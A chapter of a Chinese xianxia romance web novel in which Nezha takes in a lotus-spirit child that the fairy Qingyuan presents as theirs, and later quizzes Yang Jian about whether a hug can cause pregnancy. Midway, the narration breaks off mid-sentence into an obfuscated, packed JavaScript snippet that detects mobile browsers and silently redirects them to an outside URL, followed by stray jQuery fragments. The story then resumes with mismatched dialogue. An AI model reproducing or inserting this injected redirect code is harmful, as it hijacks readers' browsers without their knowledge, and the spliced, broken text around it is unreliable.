敖烈站在不远处,目光从清元身上移开,落在哪吒脸上。


    他忽然笑了,笑里带着苦涩,也带着一丝释然。


    原来如此。


    原来竟是如此。


    他没说话,只是默默饮尽了杯中酒。


    王母端坐主位,将这一切尽收眼底。


    她不急不缓地放下手中玉樽,轻轻咳了一声。


    满殿的目光,重新聚拢到她身上。


    “今日这鹊桥宴,倒真是热闹得很。”她顿了顿,唇角的笑意意味深长,随即看向太上老君:“老君,这孩子既是你点化的,他的来历,你可清楚?”


    太上老君捋须一笑:“娘娘说笑了,老道只负责点化,不负责追根溯源,这孩子从哪里来,要往哪里去,该由他的‘有缘人’来回答。”


    他目光平和,却带着洞悉一切的澄澈。


    末了不忘说一句:“三太子,你说是也不是?”


    清元心里对太上老君万分感激,真不愧是她师父,关键时刻救她一命。


    但那边的哪吒,可就没这么高兴了。


    杨戬起身,走进哪吒几步,问他:“你不是要试她?这难道不是意外之喜吗?”


    哪吒咬牙:“我是要试她,但这‘惊喜’,未免太过了。”


    杨戬拍拍他肩,安慰道:“都当爹了,还不高兴呢?其他人都羡慕不来的!”


    他这话,让哪吒一时间难以分辨是在嘲讽还是在安慰。


    从牵红线开始,到今日鹊桥宴,他确实是想试探清元,看她究竟对他的那段过去了解多少,却是试出来了,她确实知道,应该知道的还不少。


    甚至只差一点,他几乎就能肯定,他被抽离的情念,必定和清元有关。


    但瞧着自他醒来后,她明明知道,还努力隐瞒遮掩的模样,她既然不想让他想起来,那他便遂她愿,今日鹊桥宴上,拾忆珠播放的画面,倒是让他震惊,过去的回忆里,竟没有清元,而是另一个龙女,不仅如此,还有露冥,这出乎他的意料。


    那时他想了许多,难道真是自己猜错了,清元真的与他情念无关,是他自作多情吗?心里烦躁,以至于拾忆珠的回忆还未呈现完,他便出手暂停了。


    既然和清元无关,那他也没什么兴趣。


    早知道后面还有这么个“大惊喜”,当时便是没兴趣,他也一定看完。


    众仙家面面相觑。


    来赴宴本是年纪尚轻的神仙,素来爱看热闹,恨不得搬个小凳,端盘瓜子,好好欣赏这场万年难遇的“认亲大戏”。


    清元倒是淡定,仿佛她并未这场打戏的主角,她只是抬起眼,对上哪吒的目光。


    “三太子不必这般看着我。”


    她顿了顿,轻轻拍了拍怀里小娃娃的背,像是在安抚她,也像是在给自己争取片刻整理思绪的时间。


    “这孩子的来历……”


    她看向太上老君,又看向哪吒:“太乙真人应当与三太子提过,那株红莲,确实是以你当年一缕分魂为基,融合天地灵气,孕育而成。”


    哪吒眉头紧锁。


    分魂?他何时……


    清元不等他发问,继续道:“三太子可还记得,自己金莲重生那日,曾有一缕神魂逸散?”


    哪吒瞳孔微缩。


    重生那日?


    那日的记忆,他其实模糊得很。


    只记得无尽的灼烧与撕裂,醒来时,便在金光洞了,师父坐在床边,让他好生静养,尽快适应莲身,待能操控体内混沌之力那日,便是作为西岐先锋伐纣之时。


    “太乙真人收集了那缕分魂,以仙莲灵露温养多年,”清元的声音平稳:“直到数月前,他才托我以法力共同滋养,助那缕残魂补全。”


    她顿了顿,垂下眼睫,继续淡定的编:“这孩子,的确与三太子有血脉之缘,但并非你我二人……”


    说到这儿,她停住了。


    清元话未说完,怀里的小宝宝忽然抬起头,眨巴着湿漉漉的大眼睛,懵懵懂懂地问:“娘亲,并非你与爹爹什么?”


    清元:“……”


    满殿寂静了一瞬,随即有压抑不住的轻笑响起。


    那笑声没有恶意,只是实在忍不住,这孩子懵得太恰到好处,简直像在故意拆台。


    清元的脸微微发热,却只能硬着头皮继续:“三太子若不认也没关系,大可去……”


    “别,我认。”哪吒爽快开口。


    都把他架在火上烤了,还能不认?


    但这里头肯定有鬼。


    可他还来不及深究,那小娃娃已经从清元怀里探出半个身子,朝他伸出两只藕节似的小胳膊,奶声奶气地喊:“爹爹,你怎么不抱我?”


    哪吒低头,对上那双乌溜溜的、满是期待的眼睛。


    她眉心的莲花印记,在瑶池的绯红光晕下,与他当年重生时的模样,一模一样。


    满殿神仙,目光灼灼,屏息以待。


    敖烈握着酒杯,也不自觉的看向他。


    哪吒沉默良久。


    久到那小娃娃的胳膊都举酸了,小嘴一瘪,眼看着又要哭出来。


    他忽然俯下身。


    动作有些僵硬,甚至带着几分连他自己都未曾察觉的小心翼翼。


    他伸出双臂,将那小小一团从清元怀里接了过来。


    小娃娃立刻破涕为笑,搂住他的脖子,把小脑袋搁在他肩头,满足地蹭了蹭:“喜欢爹爹!”


    哪吒:“……”


    他僵在原地,抱着那个软得不像话的小东西,一时不知该作何反应。


    他从未抱过孩子。


    从没有。


    可这小小一团趴在怀里的感觉,竟是非常奇妙。


    有风吹进去,凉凉的,又痒痒的。


    他下意识地收紧手臂,怕她掉下去。


    然后他抬起头,看向清元。


    她就那样站着,雪白的衣裙显得格外清冷,可她的目光,却忍不住地往他怀里瞟,往那个搂着他脖子,笑得眉眼弯弯的小东西身上瞟。


    王母的声音适时响起,恰到好处地打破这微妙到极致的沉默:


    “今日之事,确实匪夷所思。”


    她看着清元怀里的孩子,又看向哪吒,目光里带着几分审视。


    “但鹊桥宴尚未结束,众仙家还在,不便深究。”


    王母顿了顿,“三太子,你且先将这孩子带回,好生安置,至于此事究竟如何——”


    她意味深长地看向清元,缓缓道:“你们下去再行分辩。”


    清元正抬头,对上王母的目光,心头一凛。


    果然,王母随后就点到了她:“清元仙子,既然这孩子唤你一声娘亲,你便帮衬着三太子些,一同好生照看这孩子。”


    清元敛衽行礼,垂下眼睫:“是。”


    哪吒抱着孩子,沉默片刻,转身便走。


    小娃娃趴在他肩上,越过他肩头,朝清元挥了挥小手,声音软软:“娘亲再见!”


    清元站在原地,看着那道朱红的身影,抱着那个小小的孩子,消失在瑶池殿外。


    满殿神仙的窃窃私语,如潮水般涌来,又退去。


    她什么都听不见了。


    -


    鹊桥宴结束,时辰已经不早。


    清元回到玄月霜台,坐立难安了整整三个时辰。


    露冥在一旁叽叽喳喳问个不停,她却半句都没听进去,脑海中反复浮现的,都是那小宝宝趴在哪吒肩上、挥着小手喊“娘亲再见”的模样。


    想了想,她还是站起身,往殿外走去。


    露冥赶忙叫住她:“你去哪儿?”


    清元答:“去乾坤殿。”


    露冥赶忙起身,来到她旁边,神情异常严肃:“你同我说实话,那孩子,是不是真是你同他的。”


    清元的沉默代替了回答。


    露冥知道没有继续问的必要了,震惊的往后退了两步,喃喃道:“竟真是……”


    清元此时没心思想露冥解释,满心都是那孩子刚化形,什么都不懂,又黏人得紧,若夜里醒来找不着人,不知要哭成什么样。


    哪吒带孩子?她是真不敢细想。


    月上中天时,清元终于说服了自己。


    乾坤殿的守卫这回没拦她,甚至不等她开口,便主动让开了路,脸上带着一种“您总算来了”的释然表情。


    “仙子快请进。”


    守卫压低声音:“小仙子哭了一刻钟了,元帅他,元帅他哄不来啊。”


    清元心头焦急起来,脚步加快,微微提起裙摆便往里走。


    寝殿内灯火通明。


    绕过屏风,便见浴池边围了一圈手足无措的仙娥,水雾氤氲间,一个小小的人影坐在池边矮凳上,披着一件明显过大的中衣,袖口卷了好几道,正瘪着嘴掉眼泪。


    哪吒站在三步开外,眉头紧锁,一脸烦躁,但是又无可奈何在那儿给小东西挑衣服。


    “……别哭了。”


    他的声音干巴巴的,带着几分威胁般的生硬:“再哭就把你丢出去。”


    小宝宝的嘴瘪得更厉害了,泪珠子啪嗒啪嗒往下掉。


    清元快步上前,一把将那小东西抱进怀里,转头瞪向哪吒:“你又在凶她?”


    哪吒被她这一瞪,竟有些心虚地别开眼,嘟囔道:“我没凶,我就说说,怎可能真把她扔出去。”


    “说说也不行!”


    清元低下头,用手帕轻轻拭去那小脸上的泪痕,声音软得像三月的春风:“乖乖不哭,娘亲来了。”


    小宝宝抽抽噎噎地搂住她的脖子,把小脸埋在她颈窝里,委屈巴巴地告状:“爹爹……爹爹挑的衣服好丑!”


    清元轻轻拍着她的背,余光瞥见哪吒那张写满了“冤枉”的脸,心头竟莫名有些想笑。


    见清元来了,仙娥们如蒙大赦,飞快地退了出去。


    清元亲自给那小莲花沐浴更衣,动作轻柔,那小东西倒也乖,泡在水里玩着花瓣,时不时抬头冲她傻笑,露出几颗小米牙。


    “娘亲,香香。”


    “嗯,宝宝也香。”


    “娘亲,我不叫宝宝,我叫圈圈!”小莲花说。


    清元不解,转头看向哪吒:“这名儿谁给取的?”


    哪吒摊手,解释道:“刚才回来后,我去洗澡,让仙娥们先照看着,我洗好了出来,发现乾坤圈不见了,便问了几句‘圈呢’,发现原来是她滚着乾坤圈到处跑,他们就说了句‘圈在这儿’,她便以为是叫她呢,屁颠屁颠就跑过来了。”


    清元听罢,忍俊不禁,评价了句:“叫圈圈也不错。”


    圈圈笑嘻嘻,又玩起了水里的花瓣。


    沐浴更衣毕,清元抱着裹得严严实实的圈圈走出屏风。


    那小家伙已经困得眼皮打架,却还强撑着不肯睡,小手紧紧攥着清元的衣襟。


    “娘亲不要走。”


    “不走。”


    清元轻声哄着:“娘亲陪圈圈。”


    她将孩子放到那张莲花床上,细心掖好被角,正要起身,却发现衣角被一只小手攥住了。


    此时,哪吒走了进来,抬手施法,一排颜色鲜亮的衣裳一件叠着一件铺在桌上。


    “请织女织的,这会儿总有一件能入这小祖宗的眼了吧。”


    说罢,转过头,只见清元坐在床边,床上的小东西已经睡着了,手却紧紧攥着清元的衣角。


    哪吒见状,开口:“今夜你陪她睡在主殿吧,我去偏殿睡。”


    想了想,又道:“算了,我还是去真君殿,在杨戬的偏殿凑合一晚吧。”


    清元知晓他的用意,也没说什么。


    灯火摇曳,满室寂静。


    哪吒忽然开口,声音压得很低,怕惊醒那个已经迷迷糊糊的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196861|190777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小东西:“你说这孩子与我有关?”


    清元道:“是。”


    “那你为何拼了命护那红莲?”他步步紧逼,目光灼灼,“为何见它被晒就心疼成那样?”


    清元沉默。


    “……是与你有关,但我没说与我无关。”她说。


    “娘亲……”


    软软的呼唤声打断了两人之间的沉默。


    圈圈不知何时睁开了眼,迷迷糊糊地朝清元伸出手,小手在空中胡乱抓着。


    “娘亲,抱抱。”


    清元心头一软,下意识俯身,将那只小手握住。


    小东西满足地叹息一声,另一只手顺便攥起哪吒的手指不放,小小的人儿横躺在床榻上,一边攥着清元,一边攥着哪吒。


    然后她咂了咂嘴,闭上眼,安心地睡了过去。


    哪吒低头,看着那只攥着自己手指的小手,又看看对面那个俯身握着她另一只手的女子。


    她的墨发垂落下来,在灯火下泛着柔和的光,几缕发丝轻轻拂过他的手背。


    凉凉的,痒痒的。


    他忽然不想挣开了。


    哪吒挑眉:“他叫你娘亲?”


    清元的睫毛颤了颤。


    “小孩子不懂事,”她下定论:“乱喊的。”


    “乱喊?”哪吒嗤笑一声,“喊你‘娘亲’,喊我‘爹爹’,倒是顺口得很。”


    “清元。”


    哪吒忽然唤她的名字,声音低了下去,带着几分连他自己都未曾察觉的认真:“你知道我此刻在想什么吗?”


    清元没有应声。


    “我在想——”


    他顿了顿,“圈圈的爹爹和娘亲,是如何在两万年几乎没有任何交集的情况下,有了圈圈的。”


    清元知道了,这是讽她呢,今日在鹊桥宴上说的那些话。


    不过她早有准备。


    “我有一言,你且一听。”


    哪吒看着她,表情很是认真。


    清元一本正经的说:“或许你知道,有的人不行鱼水之欢,也能生孩子么?”


    -


    其实清元说完那句话就后悔了。


    可话已出口,覆水难收。


    只是她怎么都不会想到。


    第二日,哪吒杀到了司法天神殿。


    杨戬正在批阅公文,见他进来,端起茶抿了口,头也不抬:“何事?”


    哪吒往他对面一坐,开门见山:“我问你,抱一抱,能让人怀孕吗?”


    “噗——”


    杨戬一口茶喷出来,溅了满桌的公文。


    他顾不上擦,瞪大眼睛看着哪吒,那表情像是见了鬼。


    “你说什么?”


    哪吒皱眉,重复道:“抱一抱,能让人怀孕吗?”


    杨戬深吸一口气,放下茶盏,擦了擦嘴角的茶渍,努力让自己的声音保持平稳:“哪吒,你是不是鹊桥宴那日受了什么刺激?怎么整个人神神叨叨的,尽问些莫名其妙的问题?”


    “我怎么神神叨叨了?”哪吒不服,“我就问一下。”


    “你问的是抱一抱会不会怀孕!”杨戬扶额:“这是正常人该问的问题吗?”


    哪吒沉默了。


    片刻后,他抬眼看向杨戬,那眼神里竟带着几分罕见的心虚?


    杨戬敏锐地捕捉到了这一丝异样,挑眉道:“你这么问,是不是抱了哪位仙子,心虚后怕了?”


    哪吒的脸微微僵了一瞬。


    他别开眼,声音闷闷的:“不是我说的,是清元说的。”


    杨戬一愣:“清元?”


    “她说,”哪吒顿了顿,似乎有些难以启齿:“有的人……不行鱼水之欢也能生孩子,还说……”他的声音更低了些,“是因为我之前抱了她,所以才有圈圈的。”


    杨戬:“……”


    杨戬差点又要喷茶。


    他拼命忍住,用力咽下喉间那口老血,面上努力维持着镇定。


    可心里已经翻江倒海。


    清元啊清元,你这一本正经胡说八道的本事,可真是不小。


    更神神奇是,这么拙劣的谎言,居然每次还都能把哪吒骗的一愣一愣的。


    他看了看哪吒那张写满困惑的脸,忽然有些同情他。


    这傻小子,明明平日里精得跟鬼似的,怎么一碰到清元的事,就被哄傻了,她每次解释都有前后矛盾,竟也察觉不出?


    她说什么他都信。


    这不是关心则乱是什么?


    杨戬清了清嗓子,端起茶盏,用一种过来人的语气,语重心长的配合清元一起骗:“这个嘛……倒也不是没有可能。”


    哪吒抬眼看他。


    杨戬面不改色地继续胡扯:“有的人天生体质特殊,确实与众不同,且清元仙子掌管情劫司,见过的情缘不计其数,她说的,想来是有几分道理的。”


    他说着,在心里默默称赞自己——杨戬啊杨戬,你这睁眼说瞎话的本事,也是练出来了。


    哪吒听了,眉头微微舒展了些,似乎真的信了。


    “对了,”杨戬忽然想起一事,“前些日子,玉皇陛下将李天王下派下界出任务降妖,是不是快回来了?”


    哪吒的脸色,肉眼可见地沉了下来。


    “不知道。”他闷声道,语气里带着几分烦躁。


    杨戬看着他,意味深长道:“你多了个女儿这件事,想好怎么和他交代了吗?”


    哪吒抬眼看他。


    “交代?”他嗤笑一声,“我有什么需要向他交代的?”


    杨戬挑眉。


    哪吒站起身,活动了些肩膀:“圈圈既养在我乾坤殿,就是我的女儿,我是她的爹爹。这件事,不需要向任何人交代。”


    杨戬望着他,半晌,轻轻笑了一声。


    “行,”他理了理桌案上的文书,继续看:“那我就不操心了。”